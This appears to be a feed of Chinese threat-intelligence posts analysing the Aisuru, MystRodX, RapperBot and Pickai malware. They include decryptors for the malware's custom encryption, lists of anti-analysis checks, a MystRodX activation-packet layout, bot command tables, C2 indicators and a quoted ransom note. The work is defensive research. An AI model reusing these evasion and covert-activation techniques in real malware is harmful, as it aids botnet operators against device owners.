4月底，DDoS圈内人士决定给AISURU团伙一点颜色看看，开始在社交媒体各种爆料。先是在一次Cloudlare表示缓解创记录的5.8Tbps的推文下，回复道：“这是来自340k totolink路由的攻击！”；几天又曝光更重量级的证据：僵尸网络的后台截图。从统计数据来看当时bot在线总数超过30万，其中3万来自中国。他一边高呼“welcome to totolink botnet”，一边@totolink以及国际刑警，希望引起公众，执法机构注意，以实现对AISURU的打击意图。

目前totolink升级服务器的漏洞已被修补，AIRUSU团伙也幽默的表示RIP TOTOLINK 2025-2025，但其实AIRUSU僵尸网络的规模并未被影响，依然保持在30万左右。

在2025年9月创记录的12.1 Tbps之前，Aisuru做过数次攻击测试，包括对知名记者Brian Krebs个人网站的攻击，攻击流量均创造了当时的“世界记录”。

有意思的是“Ethan J Foltz”是Rapper Botnet的作者的真名，他于2025年8月6日被捕；而上图中“Ethan J Foltz”这个ID背后之人其实是Snow，他使用这种方式赤裸裸的嘲讽Rapperbot，这或许是AISURU团伙在DDoS圈人人喊打的原因之一。

XLab视野

对于匿名消息源提供的故事，读者肯定会有类似的想法：“这的确是很有趣的瓜，可你这瓜保熟不？”我们或许无法验证这些人物，但依托于XLab大网威胁感知系统强大的监测能力，我们对样本，C2，攻击事件均有良好的视野。以该团伙的数次关键活动为线索，通过数据交叉比对，我们认为匿名消息源提供的情报具有较高的可信度。

1：2025年4月向totolink升级服务器植入的恶意脚本t.sh

从26日起，脚本开始使用一个域名updatetoto.tw，可以通过域名排名系统Tranco来衡量它的活跃程序。

以4月29日到5月30日的排名为例，updatetoto.tw这个于4月25日才创建的Downloader域名在短短的一个月内就在全球域名中排到了672588，证明AISURU团伙这次的感染活动非常成功。

2：2025年4月开启GRE TUNNEL的C2 IP

Aisuru团伙在151.242.2.[22 - 25]这4个IP 配置GRE Tunnel，它们角色其实是C2服务器。

而我们在4月份捕获的C2 approach.ilovegaysex[.]su的TXT记录解密后涵盖了这4个IP，说明这个C2隶属于Aisuru团伙。

3：2025年5月对KrebsOnSecurity的攻击

对恶意域名 ilovegaysex 所关联的 C2 服务器进行指令跟踪，今年5月监测到其针对网络安全调查记者 Brian Krebs 的个人博客发起了网络攻击。

4：2025年9月对185.211.78.117的攻击

对恶意域名 ilovegaysex 所关联的 C2 服务器进行指令跟踪，今年9月监测到对185.211.78.117发起了网络攻击，流量是惊人的11.5 Tbps。

样本传播

依托于XLab大网威胁感知系统的能力，我们观察到Aisuru样本最近主要通过NDAY漏洞传播，同时具备0DAY漏洞的利用能力。去年6月开始使用的美国Cambium Networks公司的cnPilot路由器0DAY仍然在利用。Aisuru传播样本使用的部分漏洞如下：

攻击统计

Aisuru僵尸网络的攻击目标遍布全球，分布在各个行业，主要攻击目标分布在中国、美国、德国，英国，中国香港等地区。并无明显的强针对性。每日攻击目标几百个左右。

DDoS攻击趋势：

受害者地区分布：

技术分析

从2025年3月14日起，AIRURU团伙开始投递新的僵尸网络样本，和目前掌握的源码进行比对，我们发现更新主要集中在加密方式上，截止目前发现的更新可以分成俩大版本。

版本一的更新包括：使用ecdh-P256进行密钥交换，之后生成共享的chacha20密钥对网络通信消息加密；DNS-TXT记录不再使用base64+chacha20解密，使用base64+xor解密；新的攻击指令、消息格式
版本二的更新包括：精简网络协议，删除ecdh-P256密钥交换过程，；魔改xxhash算法用于验证消息完整性；魔改RC4算法用于解密样本字符串和通信key；

第一个版本只持续了半个月左右时间，后续主要使用第二个版本样本。下文以版本二的样本为主要分析对象，着重介绍Aisuru的对抗手法，加密算法以及网络协议。

环境检测

样本启动后会检测当前进程命令行中是否包含以下字符串:

tcpdump
wireshark
tshark
dumpcap

检查内核的硬件标识信息是否包含以下字符串：

VMware
VirtualBox
KVM
Microsoft
QEMU

如果检查到上述情况，则程序退出，在一定程度上干扰样本的动态分析

Killer对抗

Linux 内核有一个 OOM Killer（Out-Of-Memory Killer），当系统内存不足时，它会挑选一些进程强制结束来释放内存。该样本通过在/proc/self/oom_score_adj写入-1000来禁用该功能，以获取到更多的执行时间。

正所谓的同行是冤家，每个Botnet Operator都想独占设备，对于设备的争夺非常激烈，一个设备今天属于A，明天又被B入侵的情况屡见不鲜。比如Aisuru和Rapperbot的在nvms9000设备的竞争上就非常白热化，当Aisuru做为胜利方接管了设备后，都要忍不住的跳出来嘲讽Rapperbot，贴脸开大。

大部分僵尸网络样本为了多平台兼容性，使用静态链接编译样本，导致它们不使用任何共享库；此外还会在运行后删除自身文件。但这也让不少僵尸网络将上述作为特征进行kill，以击败自己的竞争对手。

为了对抗上述killer，样本启动后会在/lib/中搜索以.so结尾的共享库文件并映射到当前进程中；不删除文件并将文件名替换为libcow.so；进程名同样是被检查的重点对象，样本将进程名替换为以下常见的进程名之一：

telnetd
udhcpc
inetd
ntpclient
watchdog
klogd
upnpd
dhclient

魔改的RC4加密算法

和之前的AIRASHI版本相比，新样本解密字符串时也不再使用标准的RC4算法，校验消息时不再使用标准的HMAC-SHA256算法。

新样本使用了魔改的RC4算法，密钥为PJbiNbbeasddDfsc，该密钥在多个版本中都没有变化，或许是向Fodcha僵尸网络致敬。算法保留了RC4的256字节的S盒，在初始化和生成密钥流时增加新的扰动，等效的Golang实现如下:

func AIRASHI_RC4(data []byte) []byte {
	key := make([]uint32, 4)
	keyBytes := []byte("PJbiNbbeasddDfsc")
for i := 0; i < 4; i++ {
		key[i] = binary.BigEndian.Uint32(keyBytes[i*4 : (i+1)*4])
	}
	S := make([]byte, 256)
	i := 13
for j := 0; j < 256; j++ {
		S[j] = byte(i & 0xff)
		i -= 89
	}
	j := 0
for i := 0; i < 256; i++ {
		j = (j + int(S[i]) + int(key[i%4]>>(i%32))) % 256
		S[i], S[j] = S[j], S[i]
	}
	seed := uint32(0xE0A4CBD6)
for i := 0; i < 5; i++ {
for k := 0; k < 256; k++ {
			seed = 0x41C64E6D*seed + 12345
			t := (seed * uint32(S[k])) >> 24
			t1 := (seed ^ key[(i+k)%4] ^ uint32(S[k])) & 0xff
			S[k] = byte(t1)
			j = (int(t1) + j + int(t)) & 0xff
			S[k] = S[j]
			S[j] = byte(t1)
		}
	}
	i, j, k := 0, 0, 0
	m := uint32(1)
	result := make([]byte, 0, len(data))
for _, byteVal := range data {
		i = (i + 1) % 256
		j = (j + int(S[i])) % 256
		k = (k + int(S[(i+j)%256])) % 256
		S[i], S[j] = S[j], S[i]
		m = rol32(m, 1)
if (m & 1) != 0 {
			m ^= 0xD800A4
		}
		t := (S[(k+j)%256] + S[(j+i)%256]) & 0xff
		t1 := ((byte(m) ^ S[t]) >> 4) ^ rol8(byte(m)^S[t], 3)&0xff
		result = append(result, byteVal^t1)
	}
return result
}

以下图的密文为例：

使用AIRASHI_RC4解密后，我们得到的明文是一条充满挑衅意味的信息。对此，我们只想回应一句：“阁下莫非是皮痒了？”

tHiS mOnTh At qiAnXin shitlab a NeW aisurU vErSiOn hIt oUr bOtMoN sYsTeM dOiNg tHe CHAaCha sLiDe
翻译为中文为：本月在奇安信的shitlab，一个新的Aisuru版本出现在了我们的BotMon系统，正在跳ChaCha舞。

当然，AISURU在样本中隐藏的信息远不止这一条。感兴趣的读者可以自行对样本（MD5: 053a0abe0600d16a91b822eb538987bca3f3ab55）进行解密分析。一旦成功解密，你就会明白，我们为何下定决心要坚决打击这一网络攻击团伙。

C2获取

样本继续保持之前的C2解密方法，通过|分割从字符串表中解密的C2字符串，得到多个子域名和主域名，再通过,分割多个子域名，示例如下：

decrypted str: sub1,sub2,sub3|domain.tld
c2_1: sub1.domain.tld
c2_2: sub2.domain.tld
c2_3: sub3.domain.tld

在解析域名时，仍使用加密的TXT记录，在之前的blog的样本中使用base64+ChaCha20进行解密，新版本只是弃用了ChaCha20，改用异或获取IP。对C2解密感兴趣的读者，可参阅Appendix章节的CyberChef，只需要将C2的TXT记录复制到INPUT即可。

网速测试

开发者在最新的几个版本中，加入了网络上传速度测试的功能，该功能使用了speedtest的公共服务

GET /speedtest-servers-static.php 获取测试服务器

GET /speedtest/latency.txt 获取延迟最低的服务器
向延迟最低的服务器POST随机数据，时间为10s（部分样本为100ms）

但该功能并不会对程序运行和C2连接方面产生影响，只是在得到结果后向C2报告。我们认为测速这一新增加功能的的目的是为后续的代理指令服务，很显然C2会向一些网络良好的节点下发代理指令，让其成为住宅代理中的一环。

网络协议

协议方面和之前版本相比，整体流程变化不大，仍保留获取共享的ChaCha20密码、确认机制，只是在消息格式和指令、加密算法方面做修改。

新的消息由三部分构成：消息头、随机字节和消息体，如图所示是解密后的上线包：

消息头长度固定为8字节，由4个字段组成：

msgType(1byte) + randSize(1byte) + bodySize(2byte) + bodyHash(4byte)

上线包新增字段：

struct login{
uint32 stun_ip;  
uint32 botid_len;
char botid[botid_len];
uint32 version;
uint32 nodename_len;
char nodename[nodename_len];
uint32 cwd_len;
char cwd[cwd_len];
uint32 kernel_ver_len;
char kernel_ver[kernel_ver_len];
uint16 reserve1;
uint8 reserve2;
bool support_udp;
}

新版本支持的指令及对应的功能描述如下：

msgType	desc
0	get shared net key
1	key info
2	confirm key
3	login info
4	heartbeat
5	exit
6	attack
7	execute cmd
8	new cnc
9	reverse shell
10	proxy
101	report telnet scan
201	report killer
202	report netspeed

可以看出新样本不仅支持DDoS攻击，还支持Proxy。随着全球执法机构对网络犯罪的打击力度不断加大，网络犯罪集团对匿名化服务的需求日益增长。正所谓有需求的地方，就有利益。僵尸网络控制的节点天然适合构建住宅代理，从我们的目前积累的案例来看，这似乎是近年来DDoS圈的一个潮流，把业务从单一的攻击，扩展到网络代理。

我们在XLab指令跟踪系统中实现了Aisuru网络协议，和预期一样，不仅接收到常规的DDoS攻击指令，还接到和Proxy相关的指令。

很显然，Aisuru 已不再满足于 DDoS 攻击这一单一业务模式，开始涉足代理服务领域，试图充分利用其手中庞大的节点资源，以谋求更多经济利益。

IoC

C2

coerece[.ilovegaysex[.su
approach[.ilovegaysex[.su
ministry[.ilovegaysex[.su
lane[.ilovegaysex[.su
a.6mv1eyr328y6due83u3js6whtzuxfyhw[.ru

Report/Download Server

u[.ilovegaysex[.su
updatetoto[.tw

Proxy Relay C2

194.46.59[.169	United Kingdom|England|Exeter	AS206509|KCOM GROUP LIMITED
104.171.170[.241	United States|Virginia|Ashburn	AS7922|Comcast Cable Communications, LLC
104.171.170[.253	United States|Virginia|Ashburn	AS7922|Comcast Cable Communications, LLC
107.173.196[.189	United States|New York|Buffalo	AS36352|ColoCrossing
64.188.68[.193	United States|District of Columbia|Washington	AS46339|CSDVRS, LLC
78.108.178[.100	Czech Republic|Praha, Hlavni mesto|Prague	AS62160|Yes Networks Unlimited Ltd

Sample

09894c3414b42addbf12527b0842ee7011e70cfd
51d9a914b8d35bb26d37ff406a712f41d2075bc6
616a3bef8b0be85a3c2bc01bbb5fb4a5f98bf707
ccf40dfe7ae44d5e6922a22beed710f9a1812725
26e9e38ec51d5a31a892e57908cb9727ab60cf88
08e9620a1b36678fe8406d1a231a436a752f5a5e
053a0abe0600d16a91b822eb538987bca3f3ab55

阅读原文

跳转微信打开

静默之控：主动与被动双模后门MystRodX的隐匿渗透

Wed, 27 Aug 2025 17:04:00 +0800

原创奇安信X实验室 2025-08-27 17:04 北京

背景介绍

2025年6月6日，Xlab大网威胁感知系统监测到 IP 139.84.156.79 正在传播一个VT低检测 4/65，名为dst86.bin的可疑ELF文件。多引擎检测模块将该文件标识为MIRAI僵尸网络，但AI研判模块却没有给出相应的结果。这个“异常”引起了我们的兴趣，经过分析确认它是Dropper，最终会释放出一个全新的后门木马，和Mirai完全无关，多家杀软将其标记为Mirai是不准确的。基于其传僠中使用的文件名dst，释放样本中的类名cmy_，多种形式的Xor算法，我们将它命名为MystRodX。

MystRodX是一个由C++语言实现的典型后门木马，支持文件管理，端口转发，反弹SHELL，sockets管理等功能。相较于一般的后门，MystRodX在隐匿性，灵活性俩方面具有非常鲜明的特点。其中隐匿性体现在对于不同级别敏感信息采用了差异化加密策略：

虚拟机&调试器检测等相关敏感字符串使用单字节xor加密
AES密钥，Payload，激活报文使用自定义的Transform算法加密
配置文件使用AES CBC模式加密

而灵活性则是MystRodX会根据不同的配置动态开启不同的功能特性，比如网络协议使用TCP或HTTP，流量直接使用明文或AES加密等。其中最有意思的是支持被动唤醒的触发模式，即MystRodX可配置成被动式后门，在不使用开放端口的情况下由特定的DNS或ICMP网络报文激活。

MystRodX的配置中存在一项用于设定后门生效时间的选项。在已捕获的样本中，该选项所设置的最早时间为2024年01月07日 23:10:20，表明该后门在真实网络中已潜伏超过20个月，且一直未被安全社区准确识别。此外，基于奇安信网络空间测绘鹰图平台的C2探测服务，发现了3个仍在活跃的C2服务器，并以技术手段确认在野还存在未被捕获的样本。再考虑到该后门所采用的被动通信机制所带来的高隐蔽特性，我们决定撰写本文，公开相关研究成果，以揭示这一长期存在的威胁，为增强网络安全防御能力提供支持。

被动后门模式

配置中Backdoor Type选项的值为1时，MystRodX开启被动后门模式，它使用RAW SOCKET监听网络流量，可在不使用开放端口的情况下，被特定的DNS或ICMP网络报文激活。

激活报文采用了Transform算法加密，解密后的格式为Magic（4字节）+ Protocol（4字节）+ Port（4字节）+ C2。当 Magic 值比对通过后，MystRodX 便会根据报文中指定的协议类型与C2建立通信，等待接收攻击者的后续指令。

不同于知名的SYNfull Knock后门完全利用TCP协议内部字段以传递指令，MystRodX使用的是一种更为简单的方式，即激活指令隐藏在ICMP 载荷或DNS请求的域名中。

1: DNS激活报文

首先看一下DNS激活报文，有效的激活报文必须是 www.Domain.com 这种格式。

DomainName使用base64解码后得到以下密文：

使用Transform算法，magic参数为0x0d，magic2参数为密文的最后一字节 0xaa, key参数为key_for_backdoor进行解密，即可得到以下明文。

按照激活报文格式对明文进行解析，可知

Magic值为CAT
协议类型为TCP
端口为0x1f4a，即8010
C2为149.28.137.254

当Magic通过比对之后，MystRodX就与C2 149.28.137.254:8010建立通信，等待执行其下发的指令。

2: ICMP激活报文

接着看一下ICMP激活报文，这次我们从正向的角度，构造报文，观察样本的行为。

首先构造一个简单的ICMP ping请求 08 00 00 00 30 39 00 01, 接着构造PAYLOAD，指定C2为192.168.96.1，端口为433，协议使用HTTP。

然后使用Transform算法，magic2参数设为0x9f对Payload进行加密。最终将ICMP 与 Payload合并，形成以下的ICMP报文。

当MystRodX收到该ICMP报文后，就会与192.168.96.1:443建立通信连接，发送HTTP格式的上线报文。这和我们的预期完全一致，验证了分析的正确性。

深入挖掘

在目前捕获的俩个MystRodX样本中，其配置的C2服务器均未开放有效端口。完成逆向分析后，我们面临一个关键问题：MystRodX究竟是一个仍在活跃的威胁，还是已被彻底废弃？为回答这一问题，我们依托于奇安信网络空间测绘鹰图平台分别从BOT端和C2端进行了一些尝试。

1: 唤醒BOT

我们尝试在全网范围内发送DNS/ICMP激活报文，意图唤醒处于被动模式的MystRodX后门，从而定位潜在受害者。遗憾的是，除我们自己的测试IP外，并未收到任何有效上线响应。造成这一现象的原因可能包括：在野MystRodX样本并未启用被动后门模式，或者样本使用了新的密钥、Magic值等配置，导致我们发出的激活报文未能匹配生效。

2: 探测C2

借助活跃C2探测服务的支持，我们成功发现3个仍在活跃的在野C2服务器。

149.28.137[.]254
156.244.6[.]68
185.22.153[.]228

这些服务器对上线报文做出了响应，向Bot回复7号指令，要求开启流量加密。它们从2024年活跃至今，证明了MystRodX威胁的持续存在。

在MystRodX的配置项中包含一组RSA公钥，用于解密7号指令。攻击者通常会在不同活动中部署不同的公钥，目前已发现的两个公钥分别用于“neybquno”和“zoufkcfr”活动。在7号指令报文中，偏移0x110处长度为256字节的部分为MagicString的密文。只有当该密文经解密后得到的MagicString与样本中硬编码的字符串 0x68abut 完全一致时，MystRodX才会尝试开启流量加密。利用这一特性，可以判断某个C2是否用于已知的攻击活动。

在新捕获的三个活跃C2服务器中，仅149.28.137.254下发的7号指令能够被已知公钥成功解密。这一现象表明，另外两个C2（156.244.6.68与185.22.153.228）应归属于某次尚未知晓的攻击活动，意味着当前在野环境中肯定存在尚未被捕获的MystRodX样本。

由于篇幅原因，本文只介绍了MystRodX最有意思的被动后门模式，想要了解更多技术细节的读者可以访问XLAB Blog，上面详细地分享我们的发现&分析旅程。

https://blog.xlab.qianxin.com/mystrodx_covert_dual-mode_backdoor/

或者点击下方的阅读原文，想了解更多内幕花絮，或有独家线索的读者，可以通过公众号给我们留言。

阅读原文

跳转微信打开

僵尸永远不死：RapperBot僵尸网络近况分析

Tue, 17 Jun 2025 17:25:07 +0800

原创奇安信X实验室 2025-06-17 17:25 北京

概述RapperBot 是一个活跃的僵尸网络家族，最早由 CNCERT 于 2022 年 7 月公开并命名。

概述

RapperBot 是一个活跃的僵尸网络家族，最早由 CNCERT 于 2022 年 7 月公开并命名。FortiGuard Labs 在 2022 年 11 月的报告中将其活动时间追溯至 2021 年。2025 年 2 月，RapperBot 参与了针对 Deepseek 的攻击；自 3 月起其攻击行为显著活跃，日均攻击目标超过百个，观测到的 bot 数量超过 5 万。

该家族不仅持续迭代，还在样本中留下了带有挑衅意味的信息。例如，样本中曾留下未使用的字符串

https://www.youtube.com/watch?v=4fm_ZZn5qaw

该Youtube视频的内容是一首Rap歌曲《I Am Da Bag》。一些样本中还留下字符串要求关注rapper2tallforfood。也曾向逆向工程师询问是否在分析其样本时听了其音乐，并公然挑衅我们的前团队

NETLAB360

。

它甚至承诺将在下次更新中“留下新消息”，但遗憾的是我们未再收到，样本中的留言信息如下：

图中 pastebin URL

https://pastebin.com/dfHYSqVz

使用Base64解码后的内容如下：

This is rapperbot, rapperbot is in its testing and development stages. Take nothing here seriously.

Brian Krebs approves of this project; he is our number one supporter.

FUCK DOTA3.TAR.GZ (outlaw) AND FUCK xorddos for using those dumb ass low IQ root kits. (they have no idea what's to come)

I love Olivia Rodrigo, soon I will be rich enough to meet her.

Question, Did you guys listen to my music whilst reverse engineering my binary? (https://www.youtube.com/watch?v=4fm_ZZn5qaw)

I can only imagine the Chinese (NETLAB360) researchers not understanding it at all and trying to decode the meaning behind it.

Anyway, 2tall out!

See you guys in the next update, I'll most likely leave another note.

在近期样本中，我们注意到 RapperBot 似乎开始对受害者进行敲诈，要求缴纳“保护费”以避免 DDoS 攻击。

Donate $5,000 in XMR to (48SFiWgbAaFf75KsRSEEr4iDcxrevFzVmhgfb6Qudss52JK8cCR8bwmUxNBPN2VmqDTucJL3eabiZc5XRYVGkbh6BH58Ytk) to be blacklisted from this and future botnets from us. Contact: horse@riseup.net with TxID and IP Range/ASN.

XLAB 对该家族保持长期追踪，以下将与社区分享我们的一些最新发现。

BOT规模

在我们分析Rapperbot样本时发现它生成的32个C2域名有部分域名尚未被注册。我们于2024年4月3日主动注册了其中若干个尚未被使用的C2域名，通过对访问我们注册域名的僵尸主机（BOT）进行统计和分析，我们能够间接获取该Rapperbot僵尸网络的BOT规模、分布范围等信息。

在最近一个月的观测中，BOT IP数量峰值达到5w+，BOT活跃趋势如下：

BOT分组信息：

BOT感染地区分布：

感染设备

根据XLAB全球鹰测绘系统提供的数据分析，Rapperbot恶意软件目前主要感染的设备类型集中在具有公网访问能力的物联网终端，尤其是网络摄像头、家用及企业级路由器等。这些设备通常存在默认弱口令或固件漏洞，容易成为攻击者的入侵目标。根据统计，其感染的设备中排名靠前的WEB界面标题（Web Title）如下：

DDoS攻击目标

RapperBot的攻击目标遍布各个行业领域，包括公共管理、社会保障和社会组织、互联网平台、制造业、金融服务业等。从地域分布上看，中国地区的目标数量最多。也曾在热点时间攻击过其他重要平台。比如：春节期间攻击知名人工智能平台DeepSeek，3月中旬攻击社交媒体平台Twitter

样本传播

根据我们的数据观察，RapperBot 主要通过 Telnet 弱口令以及利用已知漏洞进行传播。目前其主要利用的漏洞包括但不限于以下几种：

样本分析

经过对该家族样本追踪，我们发现开发者每隔几个月会对样本进行更新并进入活跃状态，在长达1年多的时间里我们捕获了该家族的7个变种：

time	sha1	ps	decrypt method	login length
2023-07-21	8a9a098dabcc09c8a770777f12c71017bb26940b	listening tun0	mirai字符串解密,key固定(0xDEADBEEF)	36
2023-10-15	d4bca8193b808dcdbdb79367ac688f6f424da36f	listening tun0	rapperbot自定义字符串解密	171
2023-12-27	a742f069f604aa302dbfe6ccf0bc481726e76fb6	listening tun0	rapperbot自定义字符串解密	114
2024-03-10	09dc5f47374410bb05cfd72bc1fa6523a35ec6dc	listening tun0	mirai字符串解码,多个解密key	60
2024-06-14	bc21342317fca22076406873013959ed111cf8dc	Firmware update in progress	mirai字符串解码,多个解密key	90
2024-10-10	cc687e707919c4176ab03bdc76ab01bbaa7c0e22	Firmware update in progress	mirai字符串解码,多个解密key	120
2025-03-30	4a0aa2b7f357164dbd49c0c6ab71a3c73e148aaa	Firmware update in progress	rapperbot自定义字符串解密	120

该家族不同变种的样本大同小异，修改内容集中在消息的数据结构、DNS-TXT记录的解析方法、字符串解码上；功能上以DDoS为主，从2024年10月开始添加了代理功能。

C2获取

与大多数botnet不同，rapperbot通过DNS-TXT记录中解析C2域名，目前我们发现了4种TXT记录格式：

time period	TXT record format
2023.07 - 2024.04	IP,IP,IP
2024.06 - 2024.10
2024.10 - 2025.03	IP\|IP\|IP\|
2025.03 - now	EncryptedString

在端口方面，早期的几个版本使用固定端口，如

1111

、

1024

、

9999

等；在最新样本中则从随机的35个端口中选择一个：

443,4443,993,995,25565,1935,3478,27015,7777,3724,5222,7000,5223,4444,3074,27014,27050,3544,6666,2222,22022,2022,19153,3389,37777,6036,34567,5000,10554,554,18004,9000,35000,10001,9001

加解密算法

字符串解密算法

RapperBot使用过三种加密算法，早期使用和Mirai相同的算法，后续开发出独特自定义解密算法和Mirai解密算法的加强版，并在多个版本中轮换使用：

改进Mirai源代码的字符串解密方法，为每个字符串添加不同的4字节解密密钥，并且继续延用Mirai的解密函数
自定义的解密方法，key的长度不固定且进行了二次加密，再对data进行多字节异或

C2/DNS-TXT解密算法

从2025年3月开始，rapperbot使用自定义的加密算法加密TXT记录和C2域名：
通过解密字符串表，我们可以得到3个的字符串：

str	desc
ipWPeY43MhfFBt8ZCSN2KTdD6nEkmGjwx7vJR5rogzbcqHsXUQuyVA9L	解密算法用到的table
WF6i6VEcfjnyqtGKxism65YwRE9VYzzzbtLgLD4tWEsnZLgbJfuE94qtvTqGgVG3ScFtsfcxqTNtYKRWQTqNBqp6VLMv2p	被加密的二级域名列表
WMKFVCnSHDrC89fvKgCShwmRjEx8	被加密的三级域名列表

顶级域名字符串没有写入字符串表，而是通过栈写入全局变量：

经过独特的算法解密后可以得到C2域名的各个部分，解密算法及解密结果如下：

def decodeTXT(data:str):
    key = "ipWPeY43MhfFBt8ZCSN2KTdD6nEkmGjwx7vJR5rogzbcqHsXUQuyVA9L"
    a = key.find(data[0])
    b = key.find(data[1])
    seed = 56*a+b
    magic = 1000000000 + 0x62B846D
    S = bytearray(range(56))
    T = bytearray(56)
    tseed = seed
    for i in range(55, 0, -1):
        tseed = (magic * tseed + 0x3039)&0xffffffff
        index = tseed%(i+1)
        S[i], S[index] = S[index], S[i]
    for i in range(56):
        T[S[i]] = i
    res = bytearray()
    for i in data[2:]:
        index = (T[key.find(i)] - (len(data)-2) - seed)%56
        res.append(index)
    length = ceil(len(res) * log2(56) / 8)
    res3 = bytearray(length)  
    for t1 in res:
        carry = t1
        for i in reversed(range(len(res3))):
            temp = res3[i] * 56 + carry
            res3[i] = temp & 0xFF  
            carry = temp >> 8  
    while len(res3) > 0 and res3[0] == 0:
        del res3[0]
    return res3 if len(res3) > 0 else bytearray(b'\x00')

三级域名：KDXA|EICp|kHbW|YFrV
二级域名：ByxWGIMPbwiSkniw|gwYhHCOrybwjWuzh|GaihWstPZUoMtfnU|zkUAFIMFDwVETXJQ
一级域名：info|live

使用"|"分割域名的各个部分，最终会生成32个C2域名，随机选择一个进行DNS-TXT解析，TXT记录字符串使用相同的解密算法解密：

TXT记录：i7do6u4FtLeeMjmnwWczxKJmtoRRvgCCqiinWW9EUtVpLx38db5xrCfr8mHmsxmutZ4C8fXL2jhGVzfdUQmvvnzZW7pCJmUpi
解密后：5.230.39.10|5.230.68.153|82.24.200.59|82.24.200.68|62.146.235.220|5.230.227.190|5.230.227.191|5.230.227.237|5.230.227.238

网络协议

Rapperbot的网络协议相对简单，不涉及密钥交换和复杂加密，payload只进行了单字节异或（key不固定）。
在多个变种只对上线信息和消息编码进行修改。

上线信息

RapperBot在不同版本的上线包格式不同，有时会增加字段，有时会减少字段，但都包含

hostname

、

source

、

stunIP

、

localIP

，并用非0随机数填充未使用空间，在最新版本中添加了网络信息字段，总大小为120，以下是相关结构描述：

消息编码

在网络通信方面，不同版本的消息格式存在微小差异，但通常都由3部分组成：Header、Payload、RandData。以最新样本为例，Header添加了校验码字段，RandData则由字符串表

q1x4fyntb3i0umw2gzcr9a5jkv7o8pl6eohds

随机生成：

消息结构体：

struct rapperbot_packet{
int32 total_size;
int32 payload_size;
int16 checkcode;
int8 xorkey;
int8 packet_type;
int8 payload[payload_size];
int8 randdata[total_size-payload_size];
};

已知的消息类型及作用：

PacketType	Desc
1	Login
2	Confirm
3	Pong
4	HeartBeat
5	Start Attack
6	Stop Attack
9	Proxy Enable
10	Proxy Disable
11	Proxy Create
12	Proxy Start
13	Proxy Close

联系

感兴趣的读者可以联系我们

阅读原文

跳转微信打开

警惕AI扒手：Pickai后门正通过ComfyUI漏洞传播

Wed, 11 Jun 2025 16:39:00 +0800

原创奇安信X实验室 2025-06-11 16:39 北京

背景

目前已有境外黑客组织利用ComfyUI漏洞对我网络资产实施网络攻击，伺机窃取重要敏感数据 -- 来自国家网络安全通报中心

2025年5月27日，国家网络安全通报中心发布预警，指出ComfyUI存在数个高危漏洞，且已被黑客组织利用，要求企业采取防护措施，避免网络与数据安全风险。显然，随着私有化部署AI模型的浪潮席卷各行各业，作为大模型图像生成领域的热门框架，ComfyUI在获得广泛应用的同时，也不可避免地成为了黑客攻击的重点目标。本文将介绍奇安信XLab视野中的攻击活动，并详细分析这些攻击活动的具体特征和危害方式。

让我们把时钟拨回到2025年3月17日，

Xlab大网威胁感知系统

检测到IP 185.189.149.151通过ComfyUI漏洞传播多个伪装成配置文件的VT 低检测ELF可执行程序（如config.json，tmux.conf，vim.json等）经过分析，我们确认这几个文件属于同一个后门木马，基于它们具有窃取AI敏感数据的能力，我们从扒手（pickpocket）一词获得灵感，将它命名为AI扒手，Pickai。

Pickai是一个由C++编写的轻量级后门程序，主要功能包括远程命令执行和反弹shell。麻雀虽小，但五内脏俱全，Pickai具有较强的隐蔽性，健壮性以及持久化能力。在主机行为层面，它支持反调试、进程伪装和多种持久化机制；在网络通信层面，虽然未采用加密算法，但内置了多个C2（命令与控制）服务器作为冗余备份，定时检测C2可用性，自动切换以维持控制链路的稳定。

在逆向分析过程中，我们发现Pickai的一个C2域名 h67t48ehfth8e.com 处于未注册状态后，立即进行了抢注。通过接管该域名，我们成功获取了部分威胁视野，数据显示全球共有695台服务器被感染。Pickai的作者发现这一情况后，马上更新样本，投入一个有效期长达5年的C2 域名 historyandresearch.com，表现出一种针锋相对的对抗姿态。

另外值得注意的是Pickai 的恶意样本托管在电商赋能平台 Rubick.ai 的官方网站。Rubick是一家AI电子商务公司，它的业务覆盖美国、印度、新加坡、中东等国际市场。从官网和其他的公开信息来看，Rubick已为200多家领先的电子商务品牌提供服务，部分知名客户包括：

亚马逊（Amazon）：利用 Rubick.ai 的目录管理服务优化其产品数据。
The Luxury Closet（阿联酋）：奢侈品电商，使用其 AI 工具进行图像编辑和产品属性提取
Hudson Bay：北美零售商，使用其 PIM 和营销工具提升产品展示效率。
Myntra：印度领先的时尚电商平台，依赖 Rubick.ai 的目录管理服务处理超过 700 万个 SKU

Rubick.ai作为众多客户的 upstream 服务提供商，它被黑客入侵就意味着它的产品、服务都有可能被值入恶意代码，带来严重的

供应链攻击

风险。再考虑到当前安全厂商对 Pickai 样本的检测多为泛型（Generic）结果，且大量 C2 服务器尚未被有效标记。我们决定撰写本文向社区分享这一发现，共同维护网络安全。

时间线

2025年2月28日，Pickai的早期版本从香港上传到VT，使用的C2为
195.43.6.252
。
2025年3月17日，XLab首次捕获通过ComfyUI漏洞传播Pickai的Payload。
2025年5月3日，XLab向Rubick.ai通告被入侵，遗憾的是该公司并未回应。
2025年5月26日，XLab监测到Pickai的另一个下载服务器
78.47.151.49
。

感染分布与基础设施

2025年3月17日，我们对C2 h67t48ehfth8e.com进行抢注，依托于该域名，我们获得了Pickai后门的部分感染视野。从数据来看，全球有近700台设备被感染，主要分布在德国，美国和中国。

Pickai对于C2的访问是有先后顺序的，其中h67t48ehfth8e的优先级最低。4月13日以及5月5日两天出现Spike，峰值超过400。我们认为，该数字体现了Pickai真实的日活。Spike的原因是在那两天其余C2出现故障，从而使得h67t48ehfth8e有机会一窥全貌。

Pickai样本更新后，引入一个有效期长达5年的C2

historyandresearch.com

,该域名的构词，以及没有开启DNS解析的行为，都像是对我们抢注行为的回应。我们推测攻击者的心理活动是这样的：

"XLab你们不是挺能抢注域名嘛，来，我整个5年有效期的C2，再抢过去给我看看？！哈哈，我就是要挑衅你们，把你们气个半死却拿我没办法，爽！"

对此，我们只想说，“不能接管这个域名，我们可以曝光其他的C2呀！”。目前Pickai的C2服务器虽然检测率接近零，但相信安全社区很快就会让它的作者明白：恶意软件的生存周期，从来都是由防御者书写的。

样本分析

我们一共捕获了7个Pickai样本，本文以5月26日最新的样本为主要分析对象，它的基本信息如下所示：

MD5:8680f76a9faaa7f62967da8a66f5a59c

MAGIC:ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, stripped

